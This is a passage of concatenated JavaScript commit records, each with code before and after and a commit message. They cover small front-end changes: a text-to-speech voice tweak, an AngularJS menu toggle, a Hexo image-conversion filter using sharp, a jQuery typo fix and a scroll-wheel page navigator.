  event.preventDefault();
  $('#display').show();
}

var hideList = function(event){
  event.preventDefault();
  $('#display').hide();
}

var sayText = function(event){
  event.preventDefault();
  var text = $(this).parent().children('.spoken_text').text();
  var msg = new SpeechSynthesisUtterance(text);
  msg.rate = 0.9;
  window.speechSynthesis.speak(msg);
  // text = encodeURIComponent(text);
  // var url = "https://translate.google.com/translate_tts?ie=UTF-8&q=" + text + "&tl=en"
  // $('audio').attr('src', url).get(0).play();
}

<commit_msg>Change TTS voice to sound more like yoda, voice name = bruce<commit_after>$(document).ready(function() {

  $('#show').on('click', displayList);
  $('#hide').on('click', hideList);
  $('.say').on('click', sayText);

  $(window).bind("pageshow", function(event) {
    if(event.originalEvent.persisted) {
      window.location.reload()
    }
  });
});

var displayList = function(event){
  event.preventDefault();
  $('#display').show();
}

var hideList = function(event){
  event.preventDefault();
  $('#display').hide();
}

var sayText = function(event){
  event.preventDefault();
  var text = $(this).parent().children('.spoken_text').text();
  var msg = new SpeechSynthesisUtterance(text);
  msg.voice = speechSynthesis.getVoices().filter(function(voice) { return voice.name == 'Bruce'; })[0];
  msg.rate = 1.1;
  window.speechSynthesis.speak(msg);
  // text = encodeURIComponent(text);
  // var url = "https://translate.google.com/translate_tts?ie=UTF-8&q=" + text + "&tl=en"
  // $('audio').attr('src', url).get(0).play();
}

<|endoftext|>


<commit_before>/**
 * Created by nightpaws on 08/02/2016.
 */
angular.module('nav')
    .controller('nav', ['$rootScope','$scope', 'user.service', function($rootScope, $scope, userService){

        $scope.navigate = function(){
            $rootScope.app.showMenu = false;
        }

        $scope.logout = function(){
            $scope.showUserMenu = !$scope.showUserMenu;
            userService.logout();
        }

    }]);<commit_msg>Attempting to allow hiding on mobile without breaking desktop UI<commit_after>/**
 * Created by nightpaws on 08/02/2016.
 */
angular.module('nav')
    .controller('nav', ['$rootScope','$scope', 'user.service', function($rootScope, $scope, userService){

        $scope.navigate = function(){
            $rootScope.app.showMenu = false;
        }

        $scope.logout = function(){
            $rootScope.showMenu = !$rootScope.showMenu;
            userService.logout();
        }

    }]);<|endoftext|>


<commit_before>/* global hexo */

'use strict';

const { createHash } = require('crypto');
const { url_for } = require('hexo-util');
const sharp = require('sharp');

async function responsive() {
  const { route } = this;
  const routeList = route.list();
  const pngFiles = routeList.filter((path) => path.startsWith('themes') && path.endsWith('.png'));
  const updatePng = {};

  await Promise.all(pngFiles.map((path) => {
    return new Promise((resolve, reject) => {
      const assetPath = route.get(path);
      const assetData = [];
      assetPath.on('data', (chunk) => assetData.push(chunk));
      assetPath.on('end', async() => {
        if (assetData.length) {
          try {
            const input = Buffer.concat(assetData);
            const jpeg = await sharp(input)
              .jpeg({
                progressive: true,
                quality: 70
              })
              .toBuffer();
            const metadata = await sharp(jpeg).metadata();
            const halfJpeg = await sharp(jpeg)
              .resize({ width: Math.round(metadata.width / 2) })
              .toBuffer();

            const pngHash = createHash('sha1').update(input).digest('hex').slice(0, 10);
            const jpegHash = createHash('sha1').update(jpeg).digest('hex').slice(0, 10);
            const halfJpegHash = createHash('sha1').update(halfJpeg).digest('hex').slice(0, 10);
            const pngPath = path.replace(/\.png$/, `-${pngHash}.png`);
            const jpeg2xPath = path.replace(/\.png$/, `-${jpegHash}@2x.jpg`);
            const jpegPath = path.replace(/\.png$/, `-${halfJpegHash}.jpg`);
            const validPath = url_for.call(this, path);
            const validPngPath = url_for.call(this, pngPath);
            const validJpg2xPath = url_for.call(this, jpeg2xPath);
            const validJpgPath = url_for.call(this, jpegPath);

            updatePng[validPath] = { 'png': validPngPath, 'jpg2x': validJpg2xPath, 'jpg': validJpgPath };

            route.set(pngPath, input);
            route.set(jpegPath, halfJpeg);
            resolve(route.set(jpeg2xPath, jpeg));
          } catch (err) {
            reject(err);
          }
        }
      });
    });
  }));

  return Promise.all(['themes/index.html'].map((path) => {
    return new Promise((resolve, reject) => {
      const assetPath = route.get(path);
      const assetData = [];
      assetPath.on('data', (chunk) => assetData.push(chunk));
      assetPath.on('end', async() => {
        if (assetData.length) {
          try {
            const result = assetData.join().replace(/<img (src|data-src)=['"](.*?)['"](.*?)>/gi, (imgTag, attr, value, alt) => {
              imgTag = imgTag.replace(value, (img) => {
                if (updatePng[img]) return updatePng[img].png;
                return img;
              });

              if (attr === 'data-src' && alt.length > 0) {
                const png = updatePng[value] ? updatePng[value].png : value;
                const jpg = updatePng[value] ? updatePng[value].jpg : value;
                const jpg2x = updatePng[value] ? updatePng[value].jpg2x : value;

                imgTag = imgTag.replace(alt, (postAlt) => {
                  postAlt += ` data-srcset="${jpg}, ${jpg2x} 2x" data-org="${png}" sizes="360px" srcset="${jpg}, ${jpg2x} 2x" src="${jpg}"`;
                  return postAlt;
                });
              }

              return imgTag;
            });

            resolve(route.set(path, result));
          } catch (err) {
            reject(err);
          }
        }
      });
    });
  }));
}

hexo.extend.filter.register('after_generate', responsive);
<commit_msg>perf: use png's hash only<commit_after>/* global hexo */

'use strict';

const { createHash } = require('crypto');
const { url_for } = require('hexo-util');
const sharp = require('sharp');

async function responsive() {
  const { route } = this;
  const routeList = route.list();
  const pngFiles = routeList.filter((path) => path.startsWith('themes') && path.endsWith('.png'));
  const updatePng = {};

  await Promise.all(pngFiles.map((path) => {
    return new Promise((resolve, reject) => {
      const assetPath = route.get(path);
      const assetData = [];
      assetPath.on('data', (chunk) => assetData.push(chunk));
      assetPath.on('end', async() => {
        if (assetData.length) {
          try {
            const input = Buffer.concat(assetData);
            const jpeg = await sharp(input)
              .jpeg({
                progressive: true,
                quality: 70
              })
              .toBuffer();
            const metadata = await sharp(jpeg).metadata();
            const halfJpeg = await sharp(jpeg)
              .resize({ width: Math.round(metadata.width / 2) })
              .toBuffer();

            const pngHash = createHash('sha1').update(input).digest('hex').slice(0, 10);
            const pngPath = path.replace(/\.png$/, `-${pngHash}.png`);
            const jpeg2xPath = path.replace(/\.png$/, `-${pngHash}@2x.jpg`);
            const jpegPath = path.replace(/\.png$/, `-${pngHash}.jpg`);
            const validPath = url_for.call(this, path);
            const validPngPath = url_for.call(this, pngPath);
            const validJpg2xPath = url_for.call(this, jpeg2xPath);
            const validJpgPath = url_for.call(this, jpegPath);

            updatePng[validPath] = { 'png': validPngPath, 'jpg2x': validJpg2xPath, 'jpg': validJpgPath };

            route.set(pngPath, input);
            route.set(jpegPath, halfJpeg);
            resolve(route.set(jpeg2xPath, jpeg));
          } catch (err) {
            reject(err);
          }
        }
      });
    });
  }));

  return Promise.all(['themes/index.html'].map((path) => {
    return new Promise((resolve, reject) => {
      const assetPath = route.get(path);
      const assetData = [];
      assetPath.on('data', (chunk) => assetData.push(chunk));
      assetPath.on('end', async() => {
        if (assetData.length) {
          try {
            const result = assetData.join().replace(/<img (src|data-src)=['"](.*?)['"](.*?)>/gi, (imgTag, attr, value, alt) => {
              imgTag = imgTag.replace(value, (img) => {
                if (updatePng[img]) return updatePng[img].png;
                return img;
              });

              if (attr === 'data-src' && alt.length > 0) {
                const png = updatePng[value] ? updatePng[value].png : value;
                const jpg = updatePng[value] ? updatePng[value].jpg : value;
                const jpg2x = updatePng[value] ? updatePng[value].jpg2x : value;

                imgTag = imgTag.replace(alt, (postAlt) => {
                  postAlt += ` data-srcset="${jpg}, ${jpg2x} 2x" data-org="${png}" sizes="360px" srcset="${jpg}, ${jpg2x} 2x" src="${jpg}"`;
                  return postAlt;
                });
              }

              return imgTag;
            });

            resolve(route.set(path, result));
          } catch (err) {
            reject(err);
          }
        }
      });
    });
  }));
}

hexo.extend.filter.register('after_generate', responsive);
<|endoftext|>


<commit_before>$(document).ready(function() {
  $('.panel-heading a').on('click', function(event){
  	$('.panel-body').removeClass('active')
  	$(this).parent().parent().find('.panel-body').addClass('active')
  	$(this).parent().parent().find('.panel-body').addClass("animated fadeIn");
    if ($this.parent().parent().find('.panel-body').hasClass('active')){
      $(this).parent().parent().find('.panel-body').removeClass('active');
    }
  })

  $('a.navname').on('click', function(){
  	$parent = $('a.navname').parent().removeClass('active')
  	$(this).parent().addClass('active')
  	var $li = $(this).parent();
  	if ($li.attr('id') == 'home'){
  		$("[id$=_main").css('display','none');
  		$("#index_main").css('display', 'block');
  	}
  	if ($li.attr('id') == 'resume'){
  		$("[id$=_main").css('display','none');
  		$("#resume_main").css('display', 'block');
  	}
  	if ($li.attr('id') == 'blog'){
  		$("[id$=_main").css('display','none');
  		$("#blog_main").css('display', 'block');
  	}
  	if ($li.attr('id') == 'projects'){
  		$("[id$=_main").css('display','none');
  		$("#projects_main").css('display', 'block');
  	}
  })

});
<commit_msg>finished<commit_after>$(document).ready(function() {
  $('.panel-heading a').on('click', function(event){
  	$('.panel-body').removeClass('active')
  	$(this).parent().parent().find('.panel-body').addClass('active')
  	$(this).parent().parent().find('.panel-body').addClass("animated fadeIn");
    if ($(this).parent().parent().find('.panel-body').hasClass('active')){
      $(this).parent().parent().find('.panel-body').removeClass('active');
    }
  })

  $('a.navname').on('click', function(){
  	$parent = $('a.navname').parent().removeClass('active')
  	$(this).parent().addClass('active')
  	var $li = $(this).parent();
  	if ($li.attr('id') == 'home'){
  		$("[id$=_main").css('display','none');
  		$("#index_main").css('display', 'block');
  	}
  	if ($li.attr('id') == 'resume'){
  		$("[id$=_main").css('display','none');
  		$("#resume_main").css('display', 'block');
  	}
  	if ($li.attr('id') == 'blog'){
  		$("[id$=_main").css('display','none');
  		$("#blog_main").css('display', 'block');
  	}
  	if ($li.attr('id') == 'projects'){
  		$("[id$=_main").css('display','none');
  		$("#projects_main").css('display', 'block');
  	}
  })

});
<|endoftext|>


<commit_before>$(window).load(function () {
    //禁用滚动条
    document.documentElement.style.overflow = 'hidden';
    // 导航点点击事件
    $('.dot').each(function (index, el) {
        $(el).click(function (event) {
            scrollToCenter('.scroll_unit:eq(' + index + ')', 1000);
        });
    });
    // 第一图的下箭头
    $('.next_button_a').click(function (event) {
        scrollToCenter('.scroll_unit:eq(1)', 1000);
    });
    // 添加鼠标滚轮事件
    addMouseWheelHandler(mouseWheelHandler);
});

$(window).ready(function () {
    relocateNav();
});

// unit位置关联导航点
$(window).scroll(function (event) {
    $('.scroll_unit').each(function (index, el) {
        if (isOffestInWindow(elOffset(el).center)) {
            $('.dot:lt(' + index + ')').removeClass('active');
            $('.dot:gt(' + index + ')').removeClass('active');
            $('.dot:eq(' + index + ')').addClass('active');
        }
    });
});

$(window).resize(function () {
    relocateNav();
});

function relocateNav() {
    $('.scorll_nav').css('top', ($(window).height() - $('.scorll_nav').height()) / 2);
}

var count = 0;
var __lock = true;
var scrollDelay = 750; //ms

function lockRun(handler) {
    if (__lock) {
        __lock = false;
        handler();
        setTimeout(function () {
            __lock = true;
        }, scrollDelay);
    } else {
        console.log('lock is locked!');
    }
}

function mouseWheelTo(nextIndex) {
    lockRun(function () {
        scrollToCenter('.scroll_unit:eq(' + nextIndex + ')', scrollDelay);
    });
    console.log('scroll to ' + nextIndex);
};

function mouseWheelToOffset(offset) {
    lockRun(function () {
        scrollToValue(offset, scrollDelay);
    });
    console.log('scroll to ' + offset + 'px');
};

// function mouseWheelPrev(currentIndex) {
//     var nextIndex = currentIndex - 1;
//     lockRun(function () {
//         scrollToCenter('.scroll_unit:eq(' + nextIndex + ')', scrollDelay);
//     });
//     console.log('scroll to ' + nextIndex);
// };

// function mouseWheelNext(currentIndex) {
//     var nextIndex = currentIndex + 1;
//     lockRun(function () {
//         scrollToCenter('.scroll_unit:eq(' + nextIndex + ')', scrollDelay);
//     });
//     console.log('scroll to ' + nextIndex);
// }

function mouseWheelHandler(e) {
    // cross-browser wheel delta
    e = e || window.event;
    var value = e.wheelDelta || -e.deltaY || -e.detail;
    var delta = Math.max(-1, Math.min(1, value));
    var currentIndex = parseInt($(".dot.active").text()) - 1;

    // 检查参数
    if (currentIndex < 0 || currentIndex > 7) {
        console.log('error, current element index is ' + currentIndex);
        return false;
    }
    // //文档头部可见，直接滚动到第一页顶部
    if (delta < 0 && $(document).scrollTop() < $('.scroll_view').offset().top) {
        mouseWheelToOffset($('.scroll_view').offset().top);
    }

    console.log('wheel delta is ' + delta);

    if (currentIndex == 0) {
        // 在第一页，只能向下滚动
        if (delta < 0) {
            mouseWheelTo(currentIndex + 1);
        } else if (delta > 0) {
            // 可向上滚至页面顶端
            mouseWheelToOffset(0);
        }
    } else if (currentIndex == 7) {
        // 在最后一页，只能向上滚动
        if (delta > 0) {
            mouseWheelTo(currentIndex - 1);
        }
    } else {
        //处于1-6页，可以随意滚动
        if (delta < 0) {
            mouseWheelTo(currentIndex + 1);
        } else if (delta > 0) {
            mouseWheelTo(currentIndex - 1);
        }
    }
};

// window.addEventListener("mousewheel", function(event) {
//     event.returnValue = false;
// });
// document.onkeydown = function(e) {
//     e = e || event;
//     alert(e.keyCode);
// }
<commit_msg>fix subject 03 error<commit_after>$(window).load(function () {
    //禁用滚动条
    document.documentElement.style.overflow = 'hidden';
    // 导航点点击事件
    $('.dot').each(function (index, el) {
        $(el).click(function (event) {
            scrollToCenter('.scroll_unit:eq(' + index + ')', 1000);
        });
    });
    // 第一图的下箭头
    $('.next_button_a').click(function (event) {
        scrollToCenter('.scroll_unit:eq(1)', 1000);
    });
    // 添加鼠标滚轮事件
    addMouseWheelHandler(mouseWheelHandler);
});

$(window).ready(function () {
    relocateNav();
});

// unit位置关联导航点
$(window).scroll(function (event) {
    $('.scroll_unit').each(function (index, el) {
        if (isOffestInWindow(elOffset(el).center)) {
            $('.dot:lt(' + index + ')').removeClass('active');
            $('.dot:gt(' + index + ')').removeClass('active');
            $('.dot:eq(' + index + ')').addClass('active');
        }
    });
});

$(window).resize(function () {
    relocateNav();
});

function relocateNav() {
    $('.scorll_nav').css('top', ($(window).height() - $('.scorll_nav').height()) / 2);
}

var count = 0;
var __lock = true;
var scrollDelay = 750; //ms

function lockRun(handler) {
    if (__lock) {
        __lock = false;
        handler();
        setTimeout(function () {
            __lock = true;
        }, scrollDelay);
    } else {
        console.log('lock is locked!');
    }
}

function mouseWheelTo(nextIndex) {
    lockRun(function () {
        scrollToCenter('.scroll_unit:eq(' + nextIndex + ')', scrollDelay);
    });
    console.log('scroll to ' + nextIndex);
};

function mouseWheelToOffset(offset) {
    lockRun(function () {
        scrollToValue(offset, scrollDelay);
    });
    console.log('scroll to ' + offset + 'px');
};

// function mouseWheelPrev(currentIndex) {
//     var nextIndex = currentIndex - 1;
//     lockRun(function () {
//         scrollToCenter('.scroll_unit:eq(' + nextIndex + ')', scrollDelay);
//     });
//     console.log('scroll to ' + nextIndex);
// };

// function mouseWheelNext(currentIndex) {
//     var nextIndex = currentIndex + 1;
//     lockRun(function () {
//         scrollToCenter('.scroll_unit:eq(' + nextIndex + ')', scrollDelay);
//     });
//     console.log('scroll to ' + nextIndex);
// }

function mouseWheelHandler(e) {
    // cross-browser wheel delta
    e = e || window.event;
    var value = e.wheelDelta || -e.deltaY || -e.detail;
    var delta = Math.max(-1, Math.min(1, value));
    var currentIndex = parseInt($(".dot.active").text()) - 1;

    // 检查参数
    if (currentIndex < 0 || currentIndex > 7) {
        console.log('error, current element index is ' + currentIndex);
        return false;
    }

    console.log('wheel delta is ' + delta);

    // 文档头部可见，直接滚动到第一页顶部
    if (delta < 0 && $(document).scrollTop() < $('.scroll_view').offset().top) {
        mouseWheelToOffset($('.scroll_view').offset().top);
        return;
    }

    if (currentIndex == 0) {
        // 在第一页，只能向下滚动
        if (delta < 0) {
            mouseWheelTo(currentIndex + 1);
        } else if (delta > 0) {
            // 可向上滚至页面顶端
            mouseWheelToOffset(0);
        }
    } else if (currentIndex == 7) {
        // 在最后一页，只能向上滚动
        if (delta > 0) {
            mouseWheelTo(currentIndex - 1);
        }
    } else {
        //处于1-6页，可以随意滚动
        if (delta < 0) {
            mouseWheelTo(currentIndex + 1);
        } else if (delta > 0) {
            mouseWheelTo(currentIndex - 1);
        }
    }
};

// window.addEventListener("mousewheel", function(event) {
//     event.returnValue = false;
// });
// document.onkeydown = function(e) {
//     e = e || event;
//     alert(e.keyCode);
// }
<|endoftext|>